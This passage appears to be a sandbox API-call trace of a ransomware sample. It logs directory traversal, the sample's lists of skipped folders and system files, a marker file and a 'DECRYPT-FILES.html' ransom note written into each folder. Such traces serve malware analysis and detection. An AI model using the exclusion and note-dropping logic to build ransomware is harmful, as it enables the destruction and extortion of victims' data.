dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.327] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.327] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.327] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xbbba4afc, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Admin", cAlternateFileName="")) returned 1 [0059.328] lstrcmpW (lpString1="Admin", lpString2=".") returned 1 [0059.328] lstrcmpW (lpString1="Admin", lpString2="..") returned 1 [0059.328] lstrcatW (in: lpString1="Admin", lpString2="\\" | out: lpString1="Admin\\") returned="Admin\\" [0059.328] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="Admin\\" | out: lpString1="C:\\PerfLogs\\Admin\\") returned="C:\\PerfLogs\\Admin\\" [0059.328] StrStrW (lpFirst="C:\\PerfLogs\\Admin\\", lpSrch=":\\Windows") returned 0x0 [0059.328] StrStrW (lpFirst="C:\\PerfLogs\\Admin\\", lpSrch="\\Program Files") returned 0x0 [0059.328] StrStrW (lpFirst="C:\\PerfLogs\\Admin\\", lpSrch="\\Games\\") returned 0x0 [0059.328] StrStrW (lpFirst="C:\\PerfLogs\\Admin\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.328] StrStrW (lpFirst="C:\\PerfLogs\\Admin\\", lpSrch="\\ProgramData\\") returned 0x0 [0059.328] StrStrW (lpFirst="C:\\PerfLogs\\Admin\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0059.328] StrStrW (lpFirst="C:\\PerfLogs\\Admin\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0059.328] StrStrW (lpFirst="C:\\PerfLogs\\Admin\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0059.328] StrStrW (lpFirst="C:\\PerfLogs\\Admin\\", lpSrch="\\All Users") returned 0x0 [0059.328] lstrlenW (lpString="C:\\PerfLogs\\Admin\\") returned 18 [0059.328] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.328] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\PerfLogs\\Admin\\\\wevkgn5.dat") returned 30 [0059.328] CreateFileW (lpFileName="C:\\PerfLogs\\Admin\\\\wevkgn5.dat" (normalized: "c:\\perflogs\\admin\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x2f4 [0059.328] lstrlenW (lpString="C:\\PerfLogs\\Admin\\") returned 18 [0059.328] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0059.328] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\PerfLogs\\Admin\\\\DECRYPT-FILES.html") returned 37 [0059.328] CreateFileW (lpFileName="C:\\PerfLogs\\Admin\\\\DECRYPT-FILES.html" (normalized: "c:\\perflogs\\admin\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0059.333] WriteFile (in: hFile=0x308, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0059.334] CloseHandle (hObject=0x308) returned 1 [0059.334] lstrlenW (lpString="C:\\PerfLogs\\Admin\\") returned 18 [0059.334] lstrcatW (in: lpString1="C:\\PerfLogs\\Admin\\", lpString2="*" | out: lpString1="C:\\PerfLogs\\Admin\\*") returned="C:\\PerfLogs\\Admin\\*" [0059.334] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\Admin\\*", lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89094f30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89094f30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cfd8 [0059.334] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.334] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x89094f30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89094f30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.334] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.334] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.334] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89094f30, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x89094f30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89094f30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0059.335] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0059.335] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89094f30, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x89094f30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89094f30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0059.335] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0059.335] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0059.335] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0059.335] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0059.335] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0059.335] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0059.335] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0059.335] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0059.335] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0059.335] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0059.335] lstrlenW (lpString="C:\\PerfLogs\\Admin\\") returned 18 [0059.335] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.335] lstrcpyW (in: lpString1=0x321efec, lpString2="C:\\PerfLogs\\Admin\\" | out: lpString1="C:\\PerfLogs\\Admin\\") returned="C:\\PerfLogs\\Admin\\" [0059.335] lstrcatW (in: lpString1="C:\\PerfLogs\\Admin\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\PerfLogs\\Admin\\wevkgn5.dat") returned="C:\\PerfLogs\\Admin\\wevkgn5.dat" [0059.335] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.335] CreateFileW (lpFileName="C:\\PerfLogs\\Admin\\wevkgn5.dat" (normalized: "c:\\perflogs\\admin\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.336] CloseHandle (hObject=0x0) returned 0 [0059.336] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.336] FindNextFileW (in: hFindFile=0x66cfd8, lpFindFileData=0x321f81c | out: lpFindFileData=0x321f81c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89094f30, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x89094f30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89094f30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0059.336] FindClose (in: hFindFile=0x66cfd8 | out: hFindFile=0x66cfd8) returned 1 [0059.336] CloseHandle (hObject=0x2f4) returned 1 [0059.336] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89094f30, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x89094f30, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89094f30, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0059.336] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0059.336] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89048c70, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x89048c70, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89048c70, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 1 [0059.336] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="DECRYPT-FILES.html") returned 1 [0059.336] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="autorun.inf") returned 1 [0059.336] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="boot.ini") returned 1 [0059.336] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="desktop.ini") returned 1 [0059.336] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat") returned 1 [0059.336] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="iconcache.db") returned 1 [0059.336] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="bootsect.bak") returned 1 [0059.336] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="ntuser.dat.log") returned 1 [0059.337] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="thumbs.db") returned 1 [0059.337] lstrcmpiW (lpString1="wevkgn5.dat", lpString2="Bootfont.bin") returned 1 [0059.337] lstrlenW (lpString="C:\\PerfLogs\\") returned 12 [0059.337] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.337] lstrcpyW (in: lpString1=0x321f268, lpString2="C:\\PerfLogs\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\" [0059.337] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="wevkgn5.dat" | out: lpString1="C:\\PerfLogs\\wevkgn5.dat") returned="C:\\PerfLogs\\wevkgn5.dat" [0059.337] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x630000 [0059.337] CreateFileW (lpFileName="C:\\PerfLogs\\wevkgn5.dat" (normalized: "c:\\perflogs\\wevkgn5.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0059.337] CloseHandle (hObject=0x0) returned 0 [0059.337] VirtualFree (lpAddress=0x630000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0059.337] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89048c70, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x89048c70, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x89048c70, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="wevkgn5.dat", cAlternateFileName="")) returned 0 [0059.338] FindClose (in: hFindFile=0x66cf18 | out: hFindFile=0x66cf18) returned 1 [0059.338] CloseHandle (hObject=0x23c) returned 1 [0059.338] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x787d0ad0, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x787d0ad0, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0059.338] lstrcmpW (lpString1="Program Files", lpString2=".") returned 1 [0059.338] lstrcmpW (lpString1="Program Files", lpString2="..") returned 1 [0059.338] lstrcatW (in: lpString1="Program Files", lpString2="\\" | out: lpString1="Program Files\\") returned="Program Files\\" [0059.338] lstrcatW (in: lpString1="C:\\", lpString2="Program Files\\" | out: lpString1="C:\\Program Files\\") returned="C:\\Program Files\\" [0059.338] StrStrW (lpFirst="C:\\Program Files\\", lpSrch=":\\Windows") returned 0x0 [0059.338] StrStrW (lpFirst="C:\\Program Files\\", lpSrch="\\Program Files") returned="\\Program Files\\" [0059.338] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd8ab1dc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x10f11a30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x10f11a30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1 [0059.338] lstrcmpW (lpString1="Program Files (x86)", lpString2=".") returned 1 [0059.338] lstrcmpW (lpString1="Program Files (x86)", lpString2="..") returned 1 [0059.338] lstrcatW (in: lpString1="Program Files (x86)", lpString2="\\" | out: lpString1="Program Files (x86)\\") returned="Program Files (x86)\\" [0059.338] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)\\" | out: lpString1="C:\\Program Files (x86)\\") returned="C:\\Program Files (x86)\\" [0059.338] StrStrW (lpFirst="C:\\Program Files (x86)\\", lpSrch=":\\Windows") returned 0x0 [0059.338] StrStrW (lpFirst="C:\\Program Files (x86)\\", lpSrch="\\Program Files") returned="\\Program Files (x86)\\" [0059.338] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x880cfd70, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x880cfd70, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1 [0059.338] lstrcmpW (lpString1="ProgramData", lpString2=".") returned 1 [0059.338] lstrcmpW (lpString1="ProgramData", lpString2="..") returned 1 [0059.338] lstrcatW (in: lpString1="ProgramData", lpString2="\\" | out: lpString1="ProgramData\\") returned="ProgramData\\" [0059.338] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\" [0059.338] StrStrW (lpFirst="C:\\ProgramData\\", lpSrch=":\\Windows") returned 0x0 [0059.338] StrStrW (lpFirst="C:\\ProgramData\\", lpSrch="\\Program Files") returned 0x0 [0059.338] StrStrW (lpFirst="C:\\ProgramData\\", lpSrch="\\Games\\") returned 0x0 [0059.339] StrStrW (lpFirst="C:\\ProgramData\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.339] StrStrW (lpFirst="C:\\ProgramData\\", lpSrch="\\ProgramData\\") returned="\\ProgramData\\" [0059.339] FindNextFileW (in: hFindFile=0x66ce18, lpFindFileData=0x321fd14 | out: lpFindFileData=0x321fd14*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1 [0059.339] lstrcmpW (lpString1="Recovery", lpString2=".") returned 1 [0059.339] lstrcmpW (lpString1="Recovery", lpString2="..") returned 1 [0059.339] lstrcatW (in: lpString1="Recovery", lpString2="\\" | out: lpString1="Recovery\\") returned="Recovery\\" [0059.339] lstrcatW (in: lpString1="C:\\", lpString2="Recovery\\" | out: lpString1="C:\\Recovery\\") returned="C:\\Recovery\\" [0059.339] StrStrW (lpFirst="C:\\Recovery\\", lpSrch=":\\Windows") returned 0x0 [0059.339] StrStrW (lpFirst="C:\\Recovery\\", lpSrch="\\Program Files") returned 0x0 [0059.339] StrStrW (lpFirst="C:\\Recovery\\", lpSrch="\\Games\\") returned 0x0 [0059.339] StrStrW (lpFirst="C:\\Recovery\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.339] StrStrW (lpFirst="C:\\Recovery\\", lpSrch="\\ProgramData\\") returned 0x0 [0059.339] StrStrW (lpFirst="C:\\Recovery\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0059.339] StrStrW (lpFirst="C:\\Recovery\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0059.339] StrStrW (lpFirst="C:\\Recovery\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0059.339] StrStrW (lpFirst="C:\\Recovery\\", lpSrch="\\All Users") returned 0x0 [0059.339] lstrlenW (lpString="C:\\Recovery\\") returned 12 [0059.339] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.339] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\Recovery\\\\wevkgn5.dat") returned 24 [0059.339] CreateFileW (lpFileName="C:\\Recovery\\\\wevkgn5.dat" (normalized: "c:\\recovery\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x23c [0059.343] lstrlenW (lpString="C:\\Recovery\\") returned 12 [0059.343] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0059.343] wsprintfW (in: param_1=0x321f278, param_2="%s\\%s" | out: param_1="C:\\Recovery\\\\DECRYPT-FILES.html") returned 31 [0059.343] CreateFileW (lpFileName="C:\\Recovery\\\\DECRYPT-FILES.html" (normalized: "c:\\recovery\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0059.343] WriteFile (in: hFile=0x2fc, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321f274, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321f274*=0x19ba, lpOverlapped=0x0) returned 1 [0059.344] CloseHandle (hObject=0x2fc) returned 1 [0059.349] lstrlenW (lpString="C:\\Recovery\\") returned 12 [0059.349] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="*" | out: lpString1="C:\\Recovery\\*") returned="C:\\Recovery\\*" [0059.349] FindFirstFileW (in: lpFileName="C:\\Recovery\\*", lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x890bb090, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x890bb090, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x66cf18 [0059.350] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0059.350] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x890bb090, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x890bb090, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.350] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0059.350] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0059.350] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x890bb090, ftCreationTime.dwHighDateTime=0x1d518a9, ftLastAccessTime.dwLowDateTime=0x890bb090, ftLastAccessTime.dwHighDateTime=0x1d518a9, ftLastWriteTime.dwLowDateTime=0x890bb090, ftLastWriteTime.dwHighDateTime=0x1d518a9, nFileSizeHigh=0x0, nFileSizeLow=0x19ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0059.350] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0059.350] FindNextFileW (in: hFindFile=0x66cf18, lpFindFileData=0x321fa98 | out: lpFindFileData=0x321fa98*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 1 [0059.350] lstrcmpW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2=".") returned 1 [0059.350] lstrcmpW (lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="..") returned 1 [0059.350] lstrcatW (in: lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", lpString2="\\" | out: lpString1="e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0059.350] lstrcatW (in: lpString1="C:\\Recovery\\", lpString2="e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0059.350] StrStrW (lpFirst="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpSrch=":\\Windows") returned 0x0 [0059.350] StrStrW (lpFirst="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpSrch="\\Program Files") returned 0x0 [0059.350] StrStrW (lpFirst="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpSrch="\\Games\\") returned 0x0 [0059.350] StrStrW (lpFirst="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpSrch="\\Tor Browser\\") returned 0x0 [0059.350] StrStrW (lpFirst="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpSrch="\\ProgramData\\") returned 0x0 [0059.350] StrStrW (lpFirst="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0059.350] StrStrW (lpFirst="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0059.350] StrStrW (lpFirst="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0059.350] StrStrW (lpFirst="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpSrch="\\All Users") returned 0x0 [0059.350] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned 49 [0059.350] lstrlenW (lpString="wevkgn5.dat") returned 11 [0059.350] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\\\wevkgn5.dat") returned 61 [0059.350] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\\\wevkgn5.dat" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\wevkgn5.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x2f4 [0059.351] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned 49 [0059.351] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0059.351] wsprintfW (in: param_1=0x321effc, param_2="%s\\%s" | out: param_1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\\\DECRYPT-FILES.html") returned 68 [0059.351] CreateFileW (lpFileName="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\\\DECRYPT-FILES.html" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c [0059.357] WriteFile (in: hFile=0x30c, lpBuffer=0x2f90000*, nNumberOfBytesToWrite=0x19ba, lpNumberOfBytesWritten=0x321eff8, lpOverlapped=0x0 | out: lpBuffer=0x2f90000*, lpNumberOfBytesWritten=0x321eff8*=0x19ba, lpOverlapped=0x0) returned 1 [0059.358] CloseHandle (hObject=0x30c) returned 1 [0059.359] lstrlenW (lpString="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned 49 [0059.359] lstrcatW (in: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", lpString2="*" | out: lpString1="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*") returned="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*" [0059.359] FindFirstFileW (in: 